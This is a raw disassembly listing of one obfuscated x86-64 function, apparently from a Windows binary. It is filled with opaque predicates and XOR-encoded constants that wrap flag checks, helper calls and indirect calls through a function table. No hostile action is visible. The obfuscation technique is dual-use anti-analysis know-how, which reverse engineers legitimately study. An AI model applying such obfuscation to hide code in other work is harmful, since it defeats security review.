mov r8d, 0x4dbb0ded
xor r8d, 0x4dbb0dec
sub edx, r8d
sub ecx, edx
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xd234706
mov r8d, 0xffffffff
xor r8d, 0xd234706
mov ecx, eax
and ecx, r8d
imul ecx, edx
mov edx, eax
and edx, 0xd234706
or eax, 0xd234706
imul eax, edx
add eax, ecx
cmp eax, 0x1f76ea0
jbe 0x14023d785
mov eax, dword [0x140250410]
mov edx, dword [0x140250414]
mov ecx, eax
xor ecx, edx
mov r8d, 0x9f04dd81
xor r8d, 0x60fb227e
xor edx, r8d
and eax, edx
shl eax, 1
sub eax, ecx
xor eax, 0xc10cd372
xor eax, 0xda0478a3
mov ecx, 0xa93b1018
xor edx, edx
div ecx
mov dword [rbp + 0x274], eax
sub rsp, 0x20
call fcn.1400b6330
mov rcx, qword [rbp + 0x3e8]
mov eax, dword [rbp + 0x274]
add rsp, 0x20
cmp byte [rcx], 0
sete cl
mov byte [rbp + 0x27b], cl
cmp eax, 0xaa31de5d
je 0x140238af5
mov al, byte [rbp + 0x27b]
test al, 1
jne 0x140238b79
jmp 0x14023d699
mov eax, dword [0x140250418]
mov ecx, 0xc92c14dd
xor ecx, 0x54b403cd
xor eax, ecx
mov edx, dword [0x14025041c]
xor edx, 0x4ff3fcc9
mov ecx, eax
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, edx
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xe21ed7bf
xor ecx, 0x66b88a1
mov edx, 0x99263848
xor edx, 0x7d536756
and ecx, edx
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x217c1404
xor ecx, 0xde83ebfb
xor eax, ecx
add eax, 0x8063df0f
and eax, 0x934b5ff5
mov ecx, 0xec72fca1
xor ecx, 0xf86b8ed9
cmp eax, ecx
ja 0x14023d78e
mov eax, dword [0x140250420]
mov ecx, dword [0x140250424]
mov edx, 0x3ce92f4d
xor edx, 0x5853cd99
sub eax, edx
sub eax, ecx
add eax, 0x64bae2d4
mov ecx, 0xf6af10dd
xor ecx, 0x8015daa2
xor edx, edx
div ecx
and eax, 0xc6304c23
mov ecx, 0x29726f7c
xor ecx, 0x33b68424
xor edx, edx
div ecx
mov dword [rbp + 0x26c], eax
mov eax, 0xdee82898
xor eax, 0x35e69a95
mov dword [rbp + 0x268], eax
sub rsp, 0x20
call fcn.1400ae840
mov rdx, qword [rbp + 0x3e8]
mov ecx, dword [rbp + 0x268]
mov eax, dword [rbp + 0x26c]
add rsp, 0x20
mov dl, byte [rdx]
mov r8b, 0x22
xor r8b, 0x22
cmp dl, r8b
sete dl
mov byte [rbp + 0x273], dl
cmp eax, ecx
je 0x14023d78e
mov al, byte [rbp + 0x273]
test al, 1
jne 0x140238cab
jmp 0x14023d699
sub rsp, 0x20
call fcn.1400b89a0
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
cmp byte [rax], 0
jne 0x14023d699
sub rsp, 0x20
call fcn.1400b9df0
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, byte [rax]
mov cl, 0x16
xor cl, 0x16
cmp al, cl
jne 0x14023d699
mov eax, dword [0x140250428]
mov ecx, dword [0x14025042c]
xor ecx, 0xffffffff
mov edx, 0x5e58e2ab
xor edx, 0x5e58e2ab
mov r8d, 0xba731fd7
xor r8d, 0xba731fd6
sub edx, r8d
sub ecx, edx
sub eax, ecx
mov ecx, 0x9f1dcfa0
xor ecx, 0x633c9867
imul eax, ecx
mov ecx, eax
xor ecx, 0x53027910
xor ecx, 0xffffffff
or eax, 0x53027910
and eax, ecx
xor eax, 0xf2d105b2
mov ecx, 0x18072f8
xor ecx, 0xf859e24
cmp eax, ecx
jb 0x14023d797
mov eax, dword [0x140250430]
and eax, dword [0x140250434]
add eax, 0xb5d7bfe2
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x9ba4075c
mov ecx, 0xffffffff
xor ecx, 0xea8df3f3
or eax, edx
or ecx, 0xea8df3f3
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0x2178338a
xor edx, edx
div ecx
mov dword [rbp + 0x260], eax
sub rsp, 0x20
call fcn.140234938
mov rcx, qword [rbp + 0x3e8]
mov eax, dword [rbp + 0x260]
add rsp, 0x20
mov cl, byte [rcx]
mov dl, 0x9c
xor dl, 0x9c
cmp cl, dl
sete cl
mov byte [rbp + 0x267], cl
cmp eax, 0x3e9fcb19
ja 0x140238d51
mov al, byte [rbp + 0x267]
test al, 1
jne 0x140238de1
jmp 0x14023d699
sub rsp, 0x20
call fcn.1400bc410
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
cmp byte [rax], 0
jne 0x14023d699
sub rsp, 0x20
call fcn.140231780
add rsp, 0x20
mov rax, qword [rbp + 0x3e8]
cmp byte [rax], 0
jne 0x14023d699
sub rsp, 0x20
call fcn.1400daa20
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, byte [rax]
mov cl, 0x1a
xor cl, 0x1a
cmp al, cl
jne 0x14023d699
sub rsp, 0x20
call fcn.1400c2680
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
cmp byte [rax], 0
jne 0x14023d699
mov ecx, 0xa
sub rsp, 0x20
call fcn.1402373f0
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, byte [rax]
mov cl, 0x8e
xor cl, 0x8e
cmp al, cl
jne 0x14023d699
sub rsp, 0x20
call fcn.140116720
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
cmp byte [rax], 0
jne 0x14023d699
sub rsp, 0x20
call fcn.14013a830
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, byte [rax]
mov cl, 0xb7
xor cl, 0xb7
cmp al, cl
jne 0x14023d699
movabs rdx, 0x6be7c432fa2aa756
movabs rax, 0x6be7c432fa2aa746
xor rdx, rax
lea rcx, [rbp + 0x540]
sub rsp, 0x20
call fcn.14023d93c
add rsp, 0x20
lea rcx, [rbp + 0x530]
mov edx, 0x10
sub rsp, 0x20
call fcn.14023d93c
add rsp, 0x20
lea rcx, [rbp + 0x468]
sub rsp, 0x20
call fcn.1401588f0
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov rcx, qword [rbp + 0x468]
mov qword [rbp + 0x480], rcx
mov rcx, qword [rbp + 0x470]
mov qword [rbp + 0x488], rcx
mov cl, byte [rbp + 0x478]
mov byte [rbp + 0x25f], cl
cmp byte [rax], 0
jne 0x140238fa6
mov al, byte [rbp + 0x25f]
cmp al, 0
je 0x140238f82
mov rax, qword [rbp + 0x480]
mov qword [rbp + 0x540], rax
mov rax, qword [rbp + 0x488]
mov qword [rbp + 0x548], rax
jmp 0x140238fbe
lea rcx, [rbp + 0x530]
sub rsp, 0x20
call fcn.14008b2ae
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
cmp byte [rax], 0
je 0x140238fbe
xor eax, eax
mov rcx, rax
mov qword [rbp + 0x248], rcx
mov qword [rbp + 0x250], rax
jmp 0x14023d37c
mov rcx, qword [rbp + 0x3b8]
sub rsp, 0x20
call fcn.1401594d0
mov rcx, qword [rbp + 0x3b8]
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov rdx, qword [rcx]
mov qword [rbp + 0x238], rdx
mov rcx, qword [rcx + 8]
mov qword [rbp + 0x240], rcx
cmp byte [rax], 0
jne 0x1402399d3
mov rax, qword [rbp + 0x238]
cmp rax, 0
je 0x140239032
lea rax, [rbp + 0x458]
add rax, 8
mov qword [rbp + 0x228], rax
mov eax, 1
mov qword [rbp + 0x230], rax
jmp 0x1402390af
mov ecx, 0x40
mov edx, 8
sub rsp, 0x20
call fcn.1400129fd
add rsp, 0x20
mov rcx, rax
mov rax, qword [0x14025a748]
mov qword [rcx], rax
lea rax, [0x14025a530]
mov qword [rcx + 0x10], rax
mov rax, qword [0x14025a540]
mov qword [rcx + 0x18], rax
mov rax, qword [0x14025a548]
mov qword [rcx + 0x20], rax
mov qword [rcx + 8], 0
lea rdx, [0x14025a530]
lea r8, [0x14025a550]
lea r9, [0x14025a554]
sub rsp, 0x30
mov qword [rsp + 0x20], 0x70e856c
call fcn.140012522
add rsp, 0x30
jmp 0x1402399d3
mov rax, qword [rbp + 0x228]
mov rcx, qword [rbp + 0x240]
mov rdx, qword [rbp + 0x238]
mov r8, qword [rbp + 0x230]
mov qword [rbp + 0x220], r8
mov qword [rbp + 0x458], rdx
mov qword [rax], rcx
lea rcx, [rbp + 0x458]
sub rsp, 0x20
call fcn.14015b580
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
cmp byte [rax], 0
je 0x1402399d3
sub rsp, 0x20
call fcn.14023d9b0
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x220]
mov rcx, qword [rcx]
mov qword [rbp + 0x210], rcx
cmp word [rcx + 0x12], 1
mov qword [rbp + 0x218], rax
jle 0x1402399b5
mov rax, qword [rbp + 0x220]
mov rcx, qword [rbp + 0x210]
mov rcx, qword [rcx + 0x18]
mov ecx, dword [rcx + 8]
mov edx, 0xa840175
xor edx, 0xcff62314
cmp ecx, edx
mov qword [rbp + 0x218], rax
jne 0x1402399b5
mov rax, qword [rbp + 0x3e8]
mov cl, 0x90
xor cl, 0x90
mov byte [rax], cl
sub rsp, 0x20
call fcn.14023d8db
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x220]
mov qword [rbp + 0x208], rcx
movabs rcx, 0xf421d3fafe4a4fc8
movabs rdx, 0xf421d3fafe4a4fc1
xor rcx, rdx
cmp rax, rcx
jle 0x140239689
mov rcx, qword [rbp + 0x208]
sub rsp, 0x20
call fcn.14009c190
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
cmp byte [rax], 0
jne 0x1402399d3
mov ecx, dword [0x140250438]
mov edx, dword [0x14025043c]
mov eax, 0x41aafc29
xor eax, 0x41aafc29
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
mov ecx, 0x4f9ab8c8
xor ecx, 0x4f9ab8c8
sub ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x913f8922
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov edx, 0xffffffff
xor edx, 0x14dc428d
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0x14dc428d
add ecx, edx
sub ecx, eax
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xf6a5b23c
or edx, 0xf6a5b23c
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
or ecx, 0xf6a5b23c
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0xb3d60d87
xor ecx, 0xcebf6022
cmp eax, ecx
ja 0x14023d7a0
mov rcx, qword [rbp + 0x240]
mov eax, dword [0x140250440]
mov r8d, dword [0x140250444]
mov edx, eax
and edx, r8d
shl edx, 1
xor eax, r8d
add eax, edx
imul eax, eax, 0x1e87a9e5
add eax, 0xc1928c20
add eax, 0x2690943c
sub eax, 0xc1928c20
mov r8d, 0xbaf239c4
xor edx, edx
div r8d
cmp rcx, 0
sete cl
mov byte [rbp + 0x207], cl
cmp eax, 0xfe0d12aa
je 0x14023d7a0
mov al, byte [rbp + 0x207]
test al, 1
jne 0x140239352
jmp 0x1402392d1
mov rax, qword [rbp + 0x240]
mov rax, qword [rax]
or rax, rax
xor rax, 0xffffffffffffffff
movabs rcx, 0x4000000000000000
movabs rdx, 0x4000000000000000
or rcx, rdx
xor rcx, 0xffffffffffffffff
movabs rdx, 0x19e2907b38cd3577
movabs r8, 0xe61d6f84c732ca88
xor rdx, r8
xor rax, rdx
movabs rdx, 0xd401472c88d991c3
movabs r8, 0x2bfeb8d377266e3c
xor rdx, r8
xor rcx, rdx
and rax, rcx
cmp rax, 0
jne 0x140239352
mov rcx, qword [rbp + 0x240]
sub rsp, 0x20
call fcn.14000f4df
add rsp, 0x20
mov rcx, qword [rbp + 0x3c0]
mov qword [rcx], 0
mov qword [rcx + 8], 0
sub rsp, 0x20
call fcn.1400206ce
add rsp, 0x20
mov rcx, qword [rbp + 0x568]
xor eax, eax
test rcx, rcx
cmovg rax, rcx
mov qword [rbp + 0x1f0], rax
xor eax, eax
mov qword [rbp + 0x1f8], rax
mov rcx, qword [rbp + 0x1f0]
mov rax, qword [rbp + 0x1f8]
mov qword [rbp + 0x1e8], rax
cmp rax, rcx
je 0x140239c6b
mov rax, qword [rbp + 0x1e8]
mov rcx, qword [rbp + 0x568]
mov qword [rbp + 0x1e0], rcx
cmp rax, rcx
jl 0x140239506
mov r11d, dword [0x140250448]
xor r11d, 0xe6ec5183
mov r10d, dword [0x14025044c]
mov ecx, r11d
xor ecx, 0xffffffff
mov r8d, r10d
xor r8d, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x6be9c14a
mov r9d, 0x816ad51b
xor r9d, 0xea831451
mov eax, ecx
and eax, r9d
and r11d, edx
mov r9d, r8d
and r9d, 0x6be9c14a
and r10d, edx
or eax, r11d
or r9d, r10d
xor eax, r9d
or ecx, r8d
xor ecx, 0xffffffff
or edx, 0x6be9c14a
and ecx, edx
or eax, ecx
and eax, 0x4fd87a66
mov ecx, eax
and ecx, 0x15059b0b
xor ecx, 0xffffffff
add eax, 0x15059b0b
mov edx, 0x9859d7d6
xor edx, 0x9859d7d7
add eax, edx
add eax, ecx
mov ecx, 0x80702485
xor ecx, 0x4542f9b5
sub eax, ecx
mov ecx, 0x4ed5af11
xor ecx, 0x601d6fbe
cmp eax, ecx
jbe 0x14023d7a9
mov rcx, qword [rbp + 0x1e8]
mov eax, dword [0x140250450]
xor eax, 0xbfd89891
xor edx, edx
div dword [0x140250454]
imul eax, eax, 0x8266563f
mov r8d, 0xd58eac77
xor edx, edx
div r8d
mov rdx, qword [rbp + 0x1e0]
imul eax, eax, 0x59c40acf
mov dword [rbp + 0x1dc], eax
movabs r8, 0x2231e1d62cb53cdd
movabs rax, 0xddce1e29d34ac322
xor r8, rax
mov rax, rdx
and rax, r8
shl rax, 1
xor rdx, 0xffffffffffffffff
add rdx, rax
sub rsp, 0x20
call fcn.140012b72
mov eax, dword [rbp + 0x1dc]
add rsp, 0x20
cmp eax, 0xfc8eccad
je 0x14023d7a9
jmp 0x14023d699
mov eax, dword [0x140250458]
and eax, dword [0x14025045c]
mov ecx, 0x5831741c
xor ecx, 0xf5e79a3a
xor edx, edx
div ecx
add eax, 0x33b6173a
and eax, 0xd55e5a2a
mov ecx, 0x6c7ed503
xor ecx, 0xf7c87d3b
cmp eax, ecx
jae 0x14023d7b2
mov r9, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x3f0]
mov eax, dword [0x140250460]
add eax, dword [0x140250464]
and eax, 0x190b4a73
or eax, 0x65897cd6
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x4fee5e79
mov r8d, 0xa1d510f9
xor r8d, 0x84734993
mov r10d, 0xf11984cb
xor r10d, 0xee67b34
xor r8d, r10d
or eax, ecx
mov ecx, 0xcfbe98b0
xor ecx, 0xea18c1da
or ecx, r8d
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0xd0e937de
xor ecx, 0x61df3095
mov r8, qword [rdx]
mov rdx, r8
add rdx, 8
mov r10, r9
shl r10, 4
add rdx, r10
add r8, 8
shl r9, 4
add r8, r9
add r8, 8
mov r8, qword [r8]
mov qword [rbp + 0x1c0], r8
cmp r8, 0
sete r8b
mov byte [rbp + 0x1cf], r8b
mov rdx, qword [rdx]
mov qword [rbp + 0x1d0], rdx
cmp eax, ecx
jae 0x14023d7b2
mov al, byte [rbp + 0x1cf]
test al, 1
jne 0x14023962b
jmp 0x14023960e
mov rax, qword [rbp + 0x1d0]
mov rcx, qword [rbp + 0x1c0]
sub rsp, 0x20
call rax
add rsp, 0x20
jmp 0x14023963c
mov rax, qword [rbp + 0x1d0]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x3e8]
mov al, byte [rax]
mov cl, 0xe7
xor cl, 0xe7
cmp al, cl
jne 0x14023d699
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
and rax, 1
movabs rdx, 0x81ddd02c175f8222
movabs r8, 0x81ddd02c175f8223
xor rdx, r8
or rcx, rdx
add rax, rcx
mov qword [rbp + 0x1f8], rax
jmp 0x140239395
mov rdx, qword [rbp + 0x220]
mov rax, rdx
add rax, 1
mov qword [rbp + 0x1b8], rax
xor rdx, 0xffffffffffffffff
movabs r8, 0x807907c928daf3b0
movabs rcx, 0x807907c928daf3b1
xor r8, rcx
mov rcx, rax
add rcx, r8
movabs r8, 0xe25893f5a6f5c7c5
movabs r9, 0x1da76c0a590a383a
xor r8, r9
xor rax, r8
or rax, rdx
add rax, rcx
movabs rcx, 0x3e7c1b77cdf6fe6b
movabs rdx, 0x3e7c1b77cdf6fe6b
xor rcx, rdx
cmp rax, rcx
jge 0x14023971f
sub rsp, 0x20
call fcn.140008d37
mov rax, qword [rbp + 0x220]
add rsp, 0x20
mov qword [rbp + 0x1b0], rax
jmp 0x14023973f
mov ecx, 0x1be5
sub rsp, 0x20
call fcn.140234f00
mov rax, qword [rbp + 0x1b8]
add rsp, 0x20
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov qword [rbp + 0x1a8], rax
mov ecx, dword [0x140250468]
mov edx, dword [0x14025046c]
mov eax, ecx
and eax, edx
xor ecx, edx
or eax, ecx
mov edx, 0xffffffff
xor edx, 0x2d1c8f7f
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x2d1c8f7f
add eax, edx
sub eax, ecx
mov ecx, eax
and ecx, 0xee84e01c
xor eax, 0xee84e01c
or ecx, eax
mov edx, 0x71ce7399
xor edx, 0x6f9d5ab9
mov eax, ecx
or eax, edx
xor eax, 0xffffffff
or ecx, 0x1e532920
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
cmp eax, 0xd462dfef
jbe 0x14023d7bb
mov rcx, qword [rbp + 0x208]
mov esi, dword [0x140250470]
xor esi, 0x3afa2148
sub esi, dword [0x140250474]
add esi, 0xed17a1e5
mov eax, 0xdf1aa81a
xor eax, 0x9e9db183
sub esi, eax
sub esi, 0xed17a1e5
mov edx, esi
xor edx, 0xffffffff
mov r9d, 0xffffffff
xor r9d, 0x259e412
mov r8d, 0x5540d62f
xor r8d, 0x6040418f
mov eax, 0x6747ea81
xor eax, 0x98b8157e
xor r8d, eax
mov r10d, 0xa5688daa
xor r10d, 0x90681a0a
mov eax, edx
and eax, r10d
and esi, r8d
mov r10d, r9d
and r10d, 0x350097a0
mov r11d, 0x5922219f
xor r11d, 0x5b7bc58d
and r11d, r8d
or eax, esi
or r10d, r11d
xor eax, r10d
or edx, r9d
xor edx, 0xffffffff
or r8d, 0x350097a0
and edx, r8d
or eax, edx
mov r8d, 0x23be3975
xor r8d, 0xf022fe0c
xor edx, edx
div r8d
mov edx, eax
mov rax, qword [rbp + 0x3e8]
mov dword [rbp + 0x1a0], edx
mov dl, byte [rax]
mov byte [rbp + 0x19f], dl
mov byte [rax], 0
sub rsp, 0x20
call fcn.14009c190
mov rcx, qword [rbp + 0x3e8]
mov eax, dword [rbp + 0x1a0]
add rsp, 0x20
cmp byte [rcx], 0
sete cl
mov byte [rbp + 0x1a7], cl
cmp eax, 0xc6efe0f3
jae 0x14023d7bb
mov al, byte [rbp + 0x1a7]
test al, 1
jne 0x1402398cf
jmp 0x1402399d3
mov al, byte [rbp + 0x19f]
mov rcx, qword [rbp + 0x3e8]
mov byte [rcx], al
cmp al, 0
jne 0x1402399d3
mov eax, dword [0x140250478]
xor edx, edx
div dword [0x14025047c]
mov ecx, eax
mov eax, 0x11323325
xor eax, 0x7b739e78
add ecx, eax
mov eax, 0xb6885e15
xor eax, 0xb6885e15
mov edx, 0xf4df8aae
xor edx, 0x838a8656
sub eax, edx
add ecx, eax
mov eax, ecx
and eax, 0xe1ce3077
or ecx, 0xe1ce3077
add eax, ecx
mov ecx, 0xbc7ad5ce
xor ecx, 0x807079ce
cmp eax, ecx
je 0x14023d7c4
mov eax, dword [0x140250480]
xor eax, 0x3c0ecdba
xor eax, dword [0x140250484]
mov ecx, eax
and ecx, 0x842e0311
xor ecx, 0xffffffff
mov edx, 0x87e434f9
xor edx, 0x3ca37e8
add eax, edx
add eax, 1
add eax, ecx
imul eax, eax, 0x9b2c7eb2
mov ecx, 0xe4246f50
xor ecx, 0x9570585a
xor eax, ecx
mov dword [rbp + 0x198], eax
sub rsp, 0x20
call fcn.14023d908
mov eax, dword [rbp + 0x198]
add rsp, 0x20
cmp eax, 0xf2fc3ef
je 0x14023993d
mov rax, qword [rbp + 0x1a8]
mov qword [rbp + 0x218], rax
jmp 0x1402399b5
mov rcx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0x218]
cmp byte [rcx], 0
mov qword [rbp + 0x230], rax
je 0x1402390af
mov eax, dword [0x140250488]
mov edx, dword [0x14025048c]
mov ecx, edx
and ecx, eax
mov r8d, 0x25aa1d74
xor r8d, 0xda55e28b
xor ecx, r8d
add eax, edx
add eax, 1
add eax, ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0x80a64957
xor ecx, 0x95ff1dae
mov edx, 0x96db8f6a
xor edx, 0x8382db93
or ecx, edx
xor ecx, 0xffffffff
mov edx, 0x2ab106ca
xor edx, 0xd54ef935
xor eax, edx
xor ecx, 0xffffffff
and eax, ecx
imul ecx, eax, 0x8172fd07
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
mov edx, 0x100e5703
xor edx, 0x85992a9f
mov r8d, 0x5a40e052
xor r8d, 0xa5bf1fad
xor edx, r8d
or eax, edx
mov edx, 0xb77003e8
xor edx, 0x22e77e74
mov r8d, 0xc7f05ca1
xor r8d, 0x380fa35e
xor edx, r8d
mov r8d, 0xffffffff
xor r8d, 0x95977d9c
or edx, r8d
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
and eax, ecx
mov ecx, 0xc11aab2e
xor ecx, 0x3ee554d1
xor eax, ecx
cmp eax, 0xd3c0d431
jae 0x14023d7cd
mov eax, dword [0x140250490]
xor edx, edx
div dword [0x140250494]
mov ecx, eax
sub ecx, 0x68bd9127
mov eax, ecx
and eax, 0x6033d40
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x6033d40
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0x899d574b
xor edx, edx
div ecx
mov rdx, qword [rbp + 0x240]
mov ecx, 0x17dceff2
xor ecx, 0x86ed527
cmp rdx, 0
sete dl
mov byte [rbp + 0x197], dl
cmp eax, ecx
je 0x14023d7cd
mov al, byte [rbp + 0x197]
test al, 1
jne 0x140239b55
jmp 0x140239b23
mov rcx, qword [rbp + 0x240]
movabs rax, 0x4000000000000000
and rax, qword [rcx]
cmp rax, 0
jne 0x140239b55
mov rcx, qword [rbp + 0x240]
sub rsp, 0x20
call fcn.14000f4df
add rsp, 0x20
mov eax, dword [0x140250498]
mov edx, dword [0x14025049c]
mov ecx, eax
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, edx
xor eax, 0xffffffff
mov r8d, 0xa954778b
xor r8d, 0x56ab8874
xor edx, r8d
or eax, edx
and ecx, eax
xor ecx, 0xffffffff
mov eax, 0x249639f5
xor eax, 0xe8a45b50
and ecx, eax
mov edx, 0x34dee91c
xor edx, 0xcb2116e3
mov eax, ecx
xor eax, edx
and eax, 0x8fb692dc
mov edx, 0xffffffff
xor edx, 0x8fb692dc
and ecx, edx
or eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, 0xc505d1c1
xor eax, 0xc505d1c1
mov edx, 0x155d5436
xor edx, 0x26608ffa
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
cmp eax, 0x8801a544
jae 0x14023d7d6
mov eax, dword [0x1402504a0]
xor edx, edx
div dword [str.oZ_g_t]
mov ecx, 0x3a81d8ae
xor edx, edx
div ecx
mov rdx, qword [rbp + 0x3e8]
add eax, 0x910970e9
mov ecx, 0x312d32c2
xor ecx, 0xab22ed95
sub eax, ecx
sub eax, 0x910970e9
xor eax, 0x35447e72
mov ecx, 0xaaeb78db
xor ecx, 0x5650d50c
mov dl, byte [rdx]
mov r8b, 0xde
xor r8b, 0xde
cmp dl, r8b
sete dl
mov byte [rbp + 0x196], dl
cmp eax, ecx
ja 0x14023d7d6
mov cl, byte [rbp + 0x196]
xor eax, eax
test cl, 1
mov rcx, rax
mov qword [rbp + 0x248], rcx
mov qword [rbp + 0x250], rax
jne 0x140239ca5
jmp 0x14023d37c
mov rax, qword [rbp + 0x568]
mov qword [rbp + 0x448], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x450], rax
lea rcx, [rbp + 0x448]
sub rsp, 0x20
call fcn.140018e27
call fcn.14023d908
add rsp, 0x20
jmp 0x14023d6c9
mov eax, dword [0x1402504a8]
mov ecx, 0x2e6711b8
xor ecx, 0x3465c992
xor eax, ecx
xor edx, edx
div dword [0x1402504ac]
mov r8d, 0xffffffff
xor r8d, 0xf4c9dcbd
mov edx, eax
and edx, r8d
mov ecx, eax
or ecx, r8d
xor ecx, 0xffffffff
imul ecx, edx
mov r8d, 0x6cd7ddeb
xor r8d, 0x981e0156
mov edx, eax
and edx, r8d
or eax, 0xf4c9dcbd
imul eax, edx
add eax, ecx
xor ecx, ecx
sub ecx, 0x9a0e48be
sub eax, ecx
mov ecx, 0x8cc8c9dd
xor ecx, 0x85f24b6b
sub eax, ecx
cmp eax, 0xb6b96a19
jae 0x14023d7df
mov rcx, qword [rbp + 0x3d0]
mov eax, dword [0x1402504b0]
xor eax, 0x9410b401
sub eax, dword [0x1402504b4]
or eax, 0xfc00babb
mov r8d, 0xc3c73bec
xor r8d, 0x7a88ebbd
xor edx, edx
div r8d
and eax, 0x9ed8ef6a
mov dword [rbp + 0x17c], eax
sub rsp, 0x20
call fcn.14015d200
mov rdx, qword [rbp + 0x3d0]
mov rcx, qword [rbp + 0x3e8]
mov eax, dword [rbp + 0x17c]
add rsp, 0x20
mov r8, qword [rdx]
mov qword [rbp + 0x180], r8
mov rdx, qword [rdx + 8]
mov qword [rbp + 0x188], rdx
mov cl, byte [rcx]
mov dl, 0x94
xor dl, 0x94
cmp cl, dl
sete cl
mov byte [rbp + 0x195], cl
cmp eax, 0xfb1c6c49
je 0x14023d7df
mov cl, byte [rbp + 0x195]
xor eax, eax
test cl, 1
mov rcx, rax
mov qword [rbp + 0x248], rcx
mov qword [rbp + 0x250], rax
jne 0x140239dcf
jmp 0x14023d37c
mov eax, dword [0x1402504b8]
mov r8d, dword [0x1402504bc]
mov ecx, 0x8831462
xor ecx, 0x3010d2f7
xor r8d, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, r8d
and edx, ecx
mov r9d, r8d
xor r9d, 0xffffffff
mov ecx, eax
and ecx, r9d
imul ecx, edx
mov edx, eax
and edx, r8d
or eax, r8d
imul eax, edx
add eax, ecx
mov ecx, 0x835c4f7a
xor edx, edx
div ecx
xor eax, 0xe00346ab
and eax, 0xc04b6bba
cmp eax, 0xab0cb64b
je 0x14023d7e8
mov eax, dword [0x1402504c0]
and eax, dword [0x1402504c4]
imul eax, eax, 0x90714f29
mov ecx, 0x97bb053b
xor ecx, 0x124c1c49
sub eax, ecx
imul eax, eax, 0xdd0ff1f6
mov dword [rbp + 0x174], eax
sub rsp, 0x20
call fcn.14009db20
mov rcx, qword [rbp + 0x3e8]
mov eax, dword [rbp + 0x174]
add rsp, 0x20
cmp byte [rcx], 0
sete cl
mov byte [rbp + 0x17b], cl
cmp eax, 0x8cd0ff70
jae 0x14023d7e8
mov rax, qword [rbp + 0x188]
mov rcx, qword [rbp + 0x180]
mov dl, byte [rbp + 0x17b]
test dl, 1
mov qword [rbp + 0x248], rcx
mov qword [rbp + 0x250], rax
jne 0x140239eba
jmp 0x14023d37c
xor ecx, ecx
sub rsp, 0x20
call fcn.1401572d0
mov rdx, qword [rbp + 0x3e8]
mov rcx, qword [rbp + 0x180]
mov rax, qword [rbp + 0x188]
add rsp, 0x20
mov dl, byte [rdx]
mov r8b, 0x90
xor r8b, 0x90
cmp dl, r8b
mov qword [rbp + 0x248], rcx
mov qword [rbp + 0x250], rax
jne 0x14023d37c
sub rsp, 0x20
call fcn.140147230
mov rax, qword [rbp + 0x3e8]
add rsp, 0x20
mov al, byte [rax]
mov cl, 0xd
xor cl, 0xd
cmp al, cl
je 0x14023a03e
mov edx, dword [0x1402504c8]
mov ecx, dword [0x1402504cc]
xor ecx, 0x24eac05d
mov eax, edx
xor eax, 0xffffffff
mov r8d, 0xc4143529
xor r8d, 0x3bebcad6
xor edx, r8d
or eax, edx
and ecx, ecx
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xff447624
xor ecx, 0xbb89db
xor eax, ecx
mov ecx, 0xbb877cf9
xor ecx, 0x2a41c9da
imul eax, ecx
mov ecx, 0xd263a2a2
xor edx, edx
div ecx
imul eax, eax, 0xac7ceea6
cmp eax, 0xd588abe5
jae 0x14023d7f1
mov eax, dword [0x1402504d0]
and eax, dword [0x1402504d4]
mov ecx, 0xa9b970f8
xor ecx, 0x7cd849e0
add eax, ecx
mov ecx, 0x441568bd
xor edx, edx
div ecx
mov ecx, eax
mov rax, qword [rbp + 0x3e8]
sub ecx, 0xdb617bca
mov dword [rbp + 0x16c], ecx
mov ecx, 0x1b38cd36
